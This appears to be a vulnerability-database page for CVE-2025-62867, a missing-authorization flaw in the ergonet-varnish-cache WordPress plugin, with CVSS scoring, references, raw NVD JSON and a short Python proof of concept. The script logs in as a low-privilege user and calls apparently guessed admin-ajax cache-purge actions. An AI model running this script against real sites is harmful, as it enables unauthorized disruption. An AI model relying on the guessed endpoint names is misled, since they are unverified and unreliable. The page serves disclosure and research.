CVE-2025-62867

Description

Missing Authorization vulnerability in ergonet Ergonet Cache ergonet-varnish-cache allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ergonet Cache: from n/a through <= 1.0.13.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

ergonet-varnish-cache <= 1.0.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-62867 PoC - Missing Authorization in ergonet-varnish-cache
# Target: WordPress site with ergonet-varnish-cache plugin <= 1.0.13

target_url = "http://target-wordpress-site.com"

# Low-privilege user session (subscriber/contributor level)
session = requests.Session()

# Login as low-privilege user
login_data = {
    "log": "low_privilege_user",
    "pwd": "user_password",
    "wp-submit": "Log In"
}

session.post(f"{target_url}/wp-login.php", data=login_data)

# Exploit: Access admin-only cache purge functionality without proper authorization
# This endpoint should require admin privileges but doesn't validate properly

exploit_endpoints = [
    "/wp-admin/admin-ajax.php?action=ergonet_cache_purge",
    "/wp-admin/admin-ajax.php?action=ergonet_cache_clear",
    "/wp-admin/admin-ajax.php?action=ergonet_varnish_purge_all"
]

for endpoint in exploit_endpoints:
    try:
        response = session.get(f"{target_url}{endpoint}")
        if response.status_code == 200:
            print(f"[+] Exploitable endpoint found: {endpoint}")
            print(f"    Response: {response.text[:200]}")
    except Exception as e:
        print(f"[-] Error testing {endpoint}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62867
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62867
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62867/
[4] VulDB https://vuldb.com/cve/CVE-2025-62867
[5] https://patchstack.com/database/Wordpress/Plugin/ergonet-varnish-cache/vulnerability/wordpress-ergonet-cache-plugin-1-0-11-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62867", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:03.807", "lastModified": "2026-04-27T17:16:33.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ergonet Ergonet Cache ergonet-varnish-cache allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ergonet Cache: from n/a through <= 1.0.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ergonet-varnish-cache/vulnerability/wordpress-ergonet-cache-plugin-1-0-11-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}